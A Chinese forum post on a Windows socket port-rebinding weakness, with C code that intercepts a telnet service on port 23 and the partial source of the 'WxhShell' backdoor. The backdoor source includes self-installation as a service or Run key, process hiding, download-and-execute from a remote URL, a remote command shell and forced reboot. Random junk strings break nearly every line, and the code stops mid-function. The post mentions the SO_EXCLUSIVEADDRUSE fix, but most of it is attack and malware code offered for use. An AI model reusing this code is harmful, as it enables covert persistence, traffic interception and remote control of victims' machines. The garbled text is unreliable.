社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17650阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b6%[?k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nyoLrTs{  
} yb"/jp  
  saddr.sin_family = AF_INET; 2y"L&3W  
\sn wR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H\%^n<]#  
"g5<jp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y&n-8L_  
*/_$' /q V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iFOa9!_0n  
awU! 3)B  
  这意味着什么?意味着可以进行如下的攻击: (^HU|   
~XeWN^l(Ov  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u+;iR/  
2tw3 =)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i}L*PCP  
Vg^yjP{sv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $6l^::U  
N,bH@Q.Ci  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hg~8Td**  
>qy$W4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y=?Tm,z4  
Cl8S_Bz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qef5eih  
M7fPaJKL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IKrojK8-?  
Y1wH_!%b  
  #include u0Bz]Ux/Q  
  #include pzT,fmfk  
  #include s?JOGu  
  #include    csFLBP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %N #A1   
  int main() 1f+z[ad&^  
  { :IX_|8e ^  
  WORD wVersionRequested; ^\oMsU5(  
  DWORD ret; &s8vmUt  
  WSADATA wsaData; C14"lB.  
  BOOL val; 3o2x&v  
  SOCKADDR_IN saddr; /[qLf:rGI  
  SOCKADDR_IN scaddr; #e[S+a  
  int err; (j(hr'f  
  SOCKET s; -]Ny-[P  
  SOCKET sc; /pC60y}O0  
  int caddsize; :-Wh'H(  
  HANDLE mt; |;(>q  
  DWORD tid;   m;J'y2h =$  
  wVersionRequested = MAKEWORD( 2, 2 ); yRivf.wH  
  err = WSAStartup( wVersionRequested, &wsaData ); ok1w4#%,  
  if ( err != 0 ) { _ G$21=  
  printf("error!WSAStartup failed!\n"); J 1R5_b  
  return -1; WR9-HPF  
  } }vb.>hy  
  saddr.sin_family = AF_INET; z%;_h-  
   0Of6$`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C';Dc4j  
2c'<rkA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *&z !y/  
  saddr.sin_port = htons(23); RGLJaEl !  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7sU+:a  
  { qL?$u07<9'  
  printf("error!socket failed!\n"); FMtg7+Q|>  
  return -1; C1uV7t*\  
  } t=\ ffpA  
  val = TRUE; Mn 8| K nh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G '%ZPh89  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u f1s}/M  
  { x9o(q`N  
  printf("error!setsockopt failed!\n"); t~|`RMn"  
  return -1; ?@^gpVK{  
  } "H9q%S,FH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k*r G^imX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K}DrJ/s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \8)FVpS  
. )E1|U[L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (~NR."s;  
  { OD~yIV  
  ret=GetLastError(); uvRX{q 4  
  printf("error!bind failed!\n"); Eb8~i_B-  
  return -1; 1XpqnyL&  
  } 3U! l8N2  
  listen(s,2); JkEITuTth  
  while(1) sD9OV6^{?K  
  { @,{Qa!A>l  
  caddsize = sizeof(scaddr); O<J<)_W)  
  //接受连接请求 l\TL=8u2c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q yhu=_&  
  if(sc!=INVALID_SOCKET) T5-Yqz  
  { d/b\:[B@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !ZM*)6^  
  if(mt==NULL) y~z&8XrH  
  { g77:92  
  printf("Thread Creat Failed!\n"); .dn#TtQv  
  break; n0)y|B#  
  } }((P)\s  
  } Q]]M;(  
  CloseHandle(mt); /GF"D5  
  } %Q=rm!Syv  
  closesocket(s); ]l"9B'XR  
  WSACleanup(); SB:z[kfz|  
  return 0; )K]<\Q[  
  }   od^o9(.W^  
  DWORD WINAPI ClientThread(LPVOID lpParam) %"ehZ d0r  
  { {5 3#Xd  
  SOCKET ss = (SOCKET)lpParam; vcZ"4%w  
  SOCKET sc; Y=/;7T  
  unsigned char buf[4096]; 4m%Yck{R  
  SOCKADDR_IN saddr; s6DPb_,  
  long num; 9fYof  
  DWORD val; +1K= ]#a  
  DWORD ret; KvjH\;78  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \1eWI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dFZh1*1  
  saddr.sin_family = AF_INET; z"*3p8N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u63Q<P<  
  saddr.sin_port = htons(23); _`Dz%(c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \SBAk h  
  { `69xR[f  
  printf("error!socket failed!\n"); u~!Pzz3"  
  return -1; \Hu?K\SWs  
  } bV:MOj^  
  val = 100; (e32oP"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KDr)'gl&  
  { V$ho9gQ!l[  
  ret = GetLastError(); !,~C  
  return -1; Gw#z:gX2  
  } {5SJ0'.B2g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5*O]`Q7  
  { Mn*5oH  
  ret = GetLastError(); uFG ;AY|  
  return -1; 0xV[C4E[6  
  } LAGg(:3f3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b~?3HY:t~K  
  { w ; PV &M  
  printf("error!socket connect failed!\n"); A QPzId*z  
  closesocket(sc); 6-\C?w A  
  closesocket(ss); N::.o+1  
  return -1; 'EB5#  
  } p]6/1&t="  
  while(1) w!RJ8  
  { ,UfB{BW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RPkOtRKL=w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DCgiTT\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7??j}ob>  
  num = recv(ss,buf,4096,0); ( `d_DQ  
  if(num>0) ah!fQLMH  
  send(sc,buf,num,0); /4 .]L~  
  else if(num==0) 9$^v*!<z\  
  break; KA."[dVa  
  num = recv(sc,buf,4096,0); +}C M2>M  
  if(num>0) T_qh_L3  
  send(ss,buf,num,0); u73/#!(1=H  
  else if(num==0) V6b)  
  break; Yt;@ @xe&  
  } mZ.E;X& ,*  
  closesocket(ss); t`0(5v  
  closesocket(sc); ^ |>)H  
  return 0 ; &.:yP3  
  } ;{rl Y>  
&_Z8:5e  
=@k 3*#\  
========================================================== P,n:u'Iwy  
`(L<Q%  
下边附上一个代码,,WXhSHELL e(k$k>?  
WhL 1OG  
========================================================== a;0$fRy  
9R|B 5.  
#include "stdafx.h" .DcuJC=  
NAfu$7  
#include <stdio.h> 0>0:ls  
#include <string.h> `pXC= []B2  
#include <windows.h> BYs^?IfW  
#include <winsock2.h> !B&1{  
#include <winsvc.h> G/8G`teAZ  
#include <urlmon.h> po+ 1  
|y2cI,&   
#pragma comment (lib, "Ws2_32.lib") !n5s/"'H  
#pragma comment (lib, "urlmon.lib") wq3V&@.  
0'Qo eFKG  
#define MAX_USER   100 // 最大客户端连接数 2 Xc,c*r  
#define BUF_SOCK   200 // sock buffer i{ 2rQy+  
#define KEY_BUFF   255 // 输入 buffer ++0xa%:  
l7GLN1#m  
#define REBOOT     0   // 重启 ^i~'aq  
#define SHUTDOWN   1   // 关机 A\<WnG>xjP  
  S?m4  
#define DEF_PORT   5000 // 监听端口 .:jfNp~jt  
[u`9R<>c"U  
#define REG_LEN     16   // 注册表键长度 FZtILlw  
#define SVC_LEN     80   // NT服务名长度 cH$Sk  
D\V (r\i  
// 从dll定义API N%`Eq@5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "a >a "Ei  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6b#J!:?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 610hw376B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oNBYJ]t  
g/m%A2M&aH  
// wxhshell配置信息 ,h$j%->U  
struct WSCFG { ]6EXaf#  
  int ws_port;         // 监听端口 4kQL\Ld#E%  
  char ws_passstr[REG_LEN]; // 口令 g,cl|]/\d  
  int ws_autoins;       // 安装标记, 1=yes 0=no h3:dO|Z  
  char ws_regname[REG_LEN]; // 注册表键名 |CjE }5Op>  
  char ws_svcname[REG_LEN]; // 服务名  W,)qE^+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5VPP 2;J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p uLQ_MNV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 as| MB (  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eEkbD"Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RJZ4fl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SwPc<Z?P  
79Vp^GG7  
}; z|>f*Z  
] Q\/si&  
// default Wxhshell configuration ?{I]!gI  
struct WSCFG wscfg={DEF_PORT, TJp0^&Q  
    "xuhuanlingzhe", :j0r~*z-  
    1, (s.S n(E  
    "Wxhshell", {pNf& '  
    "Wxhshell", 9}6^5f?|  
            "WxhShell Service", =24<d!R  
    "Wrsky Windows CmdShell Service", yasKU6^R'  
    "Please Input Your Password: ", gT6@0ANq  
  1, .EUOKPK4W  
  "http://www.wrsky.com/wxhshell.exe", YG6Kvc6T  
  "Wxhshell.exe" 0UT2sM$  
    }; y:8*!}fR  
.J3Dk=/  
// 消息定义模块 M0zlB{eH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /0H39]y!~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ROHr%'owgL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,4%'~8'3  
char *msg_ws_ext="\n\rExit."; yjP;o`z%  
char *msg_ws_end="\n\rQuit."; (S#4y  
char *msg_ws_boot="\n\rReboot..."; nf MQ3K P  
char *msg_ws_poff="\n\rShutdown..."; 8"g.Z*  
char *msg_ws_down="\n\rSave to "; e RjpR?!\  
N;6WfdA-  
char *msg_ws_err="\n\rErr!"; H A(e  
char *msg_ws_ok="\n\rOK!"; Lqv5"r7eV  
Q!VPk~~(  
char ExeFile[MAX_PATH]; xl$#00|y  
int nUser = 0; Y-WY Q{  
HANDLE handles[MAX_USER]; Q[k7taoy  
int OsIsNt; ~IKPi==@,  
KD7 RI3'?  
SERVICE_STATUS       serviceStatus; cTeEND)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v+|N7  
nUvxO `2  
// 函数声明 8y{<M"v+/  
int Install(void); ctL@&~*nY  
int Uninstall(void); lS(?x|dO  
int DownloadFile(char *sURL, SOCKET wsh); 43Yav+G(+  
int Boot(int flag); 'L2M  W  
void HideProc(void); 3J{`]v5`  
int GetOsVer(void); BZE~k?*  
int Wxhshell(SOCKET wsl); /IC7q?avQN  
void TalkWithClient(void *cs); \5_7!.  
int CmdShell(SOCKET sock); &@xixbg  
int StartFromService(void); U/oncC5  
int StartWxhshell(LPSTR lpCmdLine); pc w^W  
|mfQmFF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ArUGa(; f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WoiK _Ud  
Hs+VA$$*  
// 数据结构和表定义 "oYyeT ,?  
SERVICE_TABLE_ENTRY DispatchTable[] = YQ _3[[xT  
{ cFoDR  
{wscfg.ws_svcname, NTServiceMain}, XY8s\DK  
{NULL, NULL} 5u\si4BL{  
}; Wb"*9q06  
( {H5k''  
// 自我安装 #<bt}Tht  
int Install(void) u9FXZK7  
{ sgo({zA`i  
  char svExeFile[MAX_PATH]; Ogf myYMtc  
  HKEY key; vb}; _/ #?  
  strcpy(svExeFile,ExeFile); sSi1;9^o  
por[p\M.  
// 如果是win9x系统,修改注册表设为自启动 ]iuM2]  
if(!OsIsNt) { x aWmwsym  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g`!:7|&,_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {@9y%lmrh  
  RegCloseKey(key); 0=;jGh}|i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $@t-Oor;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 31y=Ar""  
  RegCloseKey(key); ~n84x  
  return 0; 0EYK3<k9!  
    } S ; x;FU  
  } dm&F1NkT  
} JI}(R4uV  
else { Wr7^  
a'ViyTBo  
// 如果是NT以上系统,安装为系统服务 F t%f"Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DA@YjebP'  
if (schSCManager!=0) $Tt@Xu  
{ \c+)Y}:D  
  SC_HANDLE schService = CreateService "2X=i`rTi  
  ( jBV2]..  
  schSCManager, uRQm.8b  
  wscfg.ws_svcname, SU9#Y|I  
  wscfg.ws_svcdisp, Pn5@7~  
  SERVICE_ALL_ACCESS, lC +p2OG^[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o*\kg+8  
  SERVICE_AUTO_START, T"'"T]^ X  
  SERVICE_ERROR_NORMAL, >UpTMEQ  
  svExeFile, h FP$MFab  
  NULL, S?%V o* Y  
  NULL, 8h~v%aZ1  
  NULL, uRKCvsisX  
  NULL, A8hj"V47  
  NULL sf]y\_zU  
  ); #"6(Q2| l  
  if (schService!=0) {>G\3|^D  
  { s@f4f__(]  
  CloseServiceHandle(schService); }.7!@!q.  
  CloseServiceHandle(schSCManager); 0%}$@H5i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _n2PoE:5@P  
  strcat(svExeFile,wscfg.ws_svcname); tq?lF$mM:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BSG_),AH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \0Zm3[  
  RegCloseKey(key); *L/_ v  
  return 0; YcGSZ0vQ  
    } LGPy>,!  
  } t(CdoE,6  
  CloseServiceHandle(schSCManager); Lm9y!>1"O  
} 0X-u'=Bs  
} er^z:1'  
X",fp  
return 1; *8U+2zgfC  
} b/'fC%o,  
 "=H7p3  
// 自我卸载 #;a 1=8H  
int Uninstall(void) 7(eWBJfTo  
{ Fg?Gx(g4  
  HKEY key; qI<6% ^i  
T.!GEUQ  
if(!OsIsNt) { M'W@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q$W0>bUP  
  RegDeleteValue(key,wscfg.ws_regname); LDW":k|  
  RegCloseKey(key); A7 .C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t qbS!r  
  RegDeleteValue(key,wscfg.ws_regname); =lS~2C  
  RegCloseKey(key); 0[xum  
  return 0; bP6QF1L  
  } &7T0nB/)  
} $.cNY+  k  
} [Ym?"YwVX  
else { [Zl  
Et%s,zeA{2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /+P 4cHv]F  
if (schSCManager!=0) @h X  
{ *(s+u~, I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q<d\K(<3?:  
  if (schService!=0) 4*l ShkL  
  { E*7B5  
  if(DeleteService(schService)!=0) { 4CS 9vv)9R  
  CloseServiceHandle(schService); ?y'KX]/  
  CloseServiceHandle(schSCManager); ]}8<h5h)  
  return 0; ._-^ 58[  
  } J+[&:]=P  
  CloseServiceHandle(schService); "}Ch2K  
  } 5P -IZ8~$  
  CloseServiceHandle(schSCManager); U{RW=sYB~9  
} S,lJ&Rsu  
} 85m[^WGyh  
v@LK3S/!3  
return 1; >yg mE`g  
} 9cWl/7;zXO  
W cPDPu~/  
// 从指定url下载文件 2K!3+D"  
int DownloadFile(char *sURL, SOCKET wsh) #SQT!4  
{ 4s^5t6  
  HRESULT hr; -wC;pA#o  
char seps[]= "/"; d[w'j/{  
char *token; B1JdkL 3h  
char *file; utQE$0F  
char myURL[MAX_PATH]; 5 r"`c  
char myFILE[MAX_PATH]; 0MF[e3)a  
.Hl]xI$;+  
strcpy(myURL,sURL); -B9C2  
  token=strtok(myURL,seps); mgL~ $  
  while(token!=NULL) R?(0:f  
  { (i1FMd}G  
    file=token; 1@P/h#_Vr  
  token=strtok(NULL,seps); k)b}"' I  
  } c#$B;?  
05LVfgJ'q  
GetCurrentDirectory(MAX_PATH,myFILE); >1,.4)k%K  
strcat(myFILE, "\\"); XN5EZ#  
strcat(myFILE, file); 8*H-</ =  
  send(wsh,myFILE,strlen(myFILE),0); vmvk  
send(wsh,"...",3,0); m7zen530  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rF2`4j&!  
  if(hr==S_OK) Ps+0qqT*  
return 0; tjBs>w  
else rC14X}X6  
return 1; \$/)o1SG  
x:88E78  
} 7;#9\a:R?  
 &xgMqv2/  
// 系统电源模块 s-}|_g.Pt  
int Boot(int flag) s&iM.[k  
{ ~jH@3\ ?-  
  HANDLE hToken; D*o_IrG_(  
  TOKEN_PRIVILEGES tkp; Q` 4=  
f/~"_O%  
  if(OsIsNt) { YxlV2hcX;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,fpu@@2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e ,/I}W  
    tkp.PrivilegeCount = 1; u&/q7EBfP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l{>fma]7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Uy5IvG;O+  
if(flag==REBOOT) { =zDU!< U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @ JZ I  
  return 0; ?FVX &{{V  
} w>p0ldi  
else { @v ss:'l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \6-x~%xK  
  return 0; Jor >YB`X  
} -ZlBg~E  
  } zIi|z}WJ  
  else { TUIj-HSe  
if(flag==REBOOT) { bTHKMaGWC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c$rkbbf~V  
  return 0; 0Jm6 r4s?  
} KiT>W~  
else { ,a eQXI#@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8;ke,x  
  return 0; S(.AE@U  
}  iE=Yh  
} =<e|<EwSZ  
(wEaa'XL  
return 1; %%`Nq&'  
} #:s*)(Qn  
[4"1TyW  
// win9x进程隐藏模块 [mn@/qf  
void HideProc(void) AqB5B5}  
{ SG_^Rd9 D  
L{jJDd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E0'+]"B  
  if ( hKernel != NULL ) = I,O+^  
  { VLC<ju!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B]L5K~d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U&yXs'3a&  
    FreeLibrary(hKernel); .+MJ' bW  
  } <+o-{{E[  
jl;_lcO  
return; rL3<r  
} btHN  
seC]=UJh#>  
// 获取操作系统版本 0vuL(W8)  
int GetOsVer(void) RbzSQr>a\  
{ I|9(*tq)  
  OSVERSIONINFO winfo; HS XS%v/Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f]`#BE)V  
  GetVersionEx(&winfo);  n0F.Um  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FRd!UqMXY  
  return 1; (+6 8s9XS7  
  else C93BK)$}  
  return 0; Xf!@uS6<X  
} NUbw]Y90~  
u~[HC)4(0  
// 客户端句柄模块 _BO:~x  
int Wxhshell(SOCKET wsl) LSQWveZz  
{ Tm(XM<  
  SOCKET wsh; gyj.M`+y  
  struct sockaddr_in client; g@wF2=  
  DWORD myID; qYR $5  
 N-`Vb0;N  
  while(nUser<MAX_USER) "RMBV}<T  
{ >/mi#Y6  
  int nSize=sizeof(client); 3:@2gp!tq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jz7a|pgep  
  if(wsh==INVALID_SOCKET) return 1; hr_ 5D  
aDmyr_f$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'kb5pl~U  
if(handles[nUser]==0) mbB,j~;^6H  
  closesocket(wsh); T6m#sVq  
else C~4_Vc*  
  nUser++; JBfDz0P  
  } mR@|]T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vw5f.8T;w  
TG7Ba[%  
  return 0; o`5p "v r  
} ph{p[QI:{X  
$&~/`MxE  
// 关闭 socket O4RNt,?l  
void CloseIt(SOCKET wsh) _G%]d$2f`  
{ EBlfwFd  
closesocket(wsh); W&CQ87b  
nUser--; yTzP{I  
ExitThread(0); 5v <>%=  
} A<P3X/i  
bwo-9B  
// 客户端请求句柄 KiYO,nD;\  
void TalkWithClient(void *cs) 1c_gh12  
{ q9fCoz  
' QGacV   
  SOCKET wsh=(SOCKET)cs; 9<u^.w  
  char pwd[SVC_LEN]; @Gp=9\L  
  char cmd[KEY_BUFF]; ?PVJeFH  
char chr[1]; Mx<z34(T  
int i,j; @)s;u}H  
Ot}fGiio  
  while (nUser < MAX_USER) { )OQhtxK  
rE0?R( _  
if(wscfg.ws_passstr) { h07Z.q ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L1=3_fO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L08>9tf`  
  //ZeroMemory(pwd,KEY_BUFF); Y$xO&\&)  
      i=0; d\aKGq;8C  
  while(i<SVC_LEN) { u>c\J|K_V  
9rXbv4{  
  // 设置超时 w}+#w8hu  
  fd_set FdRead; x{4Rm,Dxn  
  struct timeval TimeOut; 8 2qf7`  
  FD_ZERO(&FdRead); NbOeF7cq+  
  FD_SET(wsh,&FdRead); j1 _ E^  
  TimeOut.tv_sec=8; j,%@%upM  
  TimeOut.tv_usec=0; xw_VK1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h4rIt3`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vvA=:J4/i)  
06DT2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } 8ZCWmd  
  pwd=chr[0]; 5v"r>q[ X  
  if(chr[0]==0xd || chr[0]==0xa) { uD4=1g6[s  
  pwd=0; ! `5[(lm  
  break; pRI<L'  
  } @P=St\;VP  
  i++; OS8 ^mC  
    } I)#=#eI* :  
iEx.BQ+  
  // 如果是非法用户,关闭 socket &:}e`u@5|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kk]f*[Zi5  
} gXr"],OM;  
@3`:aWda  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GT\, @$r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RC 7|@a  
i9Fg  
while(1) { Q'-V\G)11  
VBc[(8o  
  ZeroMemory(cmd,KEY_BUFF); eduaG,+k7p  
\#4??@+Xf  
      // 自动支持客户端 telnet标准   z_%G{H+:l  
  j=0; we'<Y  
  while(j<KEY_BUFF) { Z(Da?6#1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +pYrAqmO-  
  cmd[j]=chr[0]; F) w.q  
  if(chr[0]==0xa || chr[0]==0xd) { <p@c %e,_  
  cmd[j]=0; yXU-@~  
  break; y,qP$ 5xiq  
  } fR_ jYP 1  
  j++; GwiG..Y]&  
    } HI/]s^aL  
R=M"g|U6  
  // 下载文件 0kN;SSX!  
  if(strstr(cmd,"http://")) { JA W}]:jC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tX;00g;U.  
  if(DownloadFile(cmd,wsh)) 4d&#NP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {FzL@!||  
  else %bI(   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |8I #`  
  } 8r '  
  else { .DSn H6O  
(IX iwu  
    switch(cmd[0]) { ^l1tQnj)7  
  =H*}{'#  
  // 帮助 shW$V93<  
  case '?': { U3r[ysf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *8}Y0V\s  
    break; =4GJYhj  
  } (]wi^dE  
  // 安装 }.Eq_wP<  
  case 'i': { WqN=  D5  
    if(Install()) \m-fLX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~~:w^(s9  
    else j,Sg?&"%=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [c4.E"  
    break; :V2"<]  
    } `-zdjc d  
  // 卸载 *]2LN$  
  case 'r': { $>E\3npV  
    if(Uninstall()) "bZV<;y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /UeLf $%ZW  
    else `x:znp}'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oq"(oNG@  
    break; j0J}d _  
    } ~82[pY  
  // 显示 wxhshell 所在路径 o?\)!_Z|  
  case 'p': { Ore$yI}!m  
    char svExeFile[MAX_PATH]; UnNvlkjq9  
    strcpy(svExeFile,"\n\r"); )#-27Y  
      strcat(svExeFile,ExeFile); 4GJ1P2  
        send(wsh,svExeFile,strlen(svExeFile),0); 'B}pIx6k~  
    break; tf64<j6  
    } D|I(2%aC  
  // 重启 kTQ:k }%B  
  case 'b': { A7U'>r_.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CG'NC\x5  
    if(Boot(REBOOT)) R`=3lY;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3nuf3)  
    else { 5zJkPki  
    closesocket(wsh); 'G6TSl  
    ExitThread(0);  [+$l/dag  
